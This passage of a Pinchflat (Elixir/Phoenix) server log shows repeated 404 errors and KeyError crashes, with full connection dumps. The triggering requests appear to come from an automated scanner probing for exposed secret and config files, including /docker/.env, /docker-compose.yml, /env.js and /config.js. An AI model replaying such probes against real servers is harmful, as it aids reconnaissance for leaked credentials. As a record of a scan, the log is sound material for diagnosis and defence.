status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21464.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.yml", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52148}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker-compose (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21464.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.yml", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52148}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21465.0>, params: %{}, path_info: ["docker-compose"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/docker-compose.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfTuA7BB_p7AACMMB"} (truncated) 15:40:16.367 [info] GET /docker/.env 15:40:16.367 [debug] QUERY OK source="settings" db=0.0ms idle=116.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:16.367 [debug] QUERY OK source="settings" db=0.0ms idle=111.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:16.367 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:16.367 [error] #PID<0.21467.0> running PinchflatWeb.Endpoint (connection #PID<0.21466.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /docker/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21466.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52164}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21467.0>, params: %{}, path_info: ["docker", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/docker/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfTwvVUd-72sACMMh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21466.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52164}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21466.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52164}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21467.0>, params: %{}, path_info: ["docker", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/docker/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfTwvVUd-72sACMMh"} ], scheme: :http, script_name: [] (truncated) 15:40:16.479 [info] GET /config.js 15:40:16.479 [debug] QUERY OK source="settings" db=0.1ms idle=223.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:16.479 [debug] QUERY OK source="settings" db=0.0ms idle=123.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:16.479 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:16.479 [error] #PID<0.21469.0> running PinchflatWeb.Endpoint (connection #PID<0.21468.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /config.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21468.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52180}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21469.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/config.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfULb7K7bWhsACMNB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21468.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52180}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21468.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52180}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21469.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/config.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfULb7K7bWhsACMNB"} ], scheme: :http, script_name: [], secret_key (truncated) 15:40:16.593 [info] GET /main.js 15:40:16.593 [debug] QUERY OK source="settings" db=0.1ms idle=236.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:16.593 [debug] QUERY OK source="settings" db=0.0ms idle=225.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:16.593 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:16.593 [error] #PID<0.21471.0> running PinchflatWeb.Endpoint (connection #PID<0.21470.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /main.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /main (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21470.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/main.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52184}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21471.0>, params: %{}, path_info: ["main"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/main.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfUmi-bsclGsACMNh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21470.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/main.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52184}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /main (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21470.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/main.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52184}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21471.0>, params: %{}, path_info: ["main"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/main.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfUmi-bsclGsACMNh"} ], scheme: :http, script_name: [], secret_key_base: :..., (truncated) 15:40:16.728 [info] GET /env.js 15:40:16.729 [debug] QUERY OK source="settings" db=0.1ms idle=361.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:16.729 [debug] QUERY OK source="settings" db=0.0ms idle=249.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:16.729 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:16.729 [error] #PID<0.21473.0> running PinchflatWeb.Endpoint (connection #PID<0.21472.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /env.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21472.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52196}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21473.0>, params: %{}, path_info: ["env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/env.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfVG7UgkkMXsACMOB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: 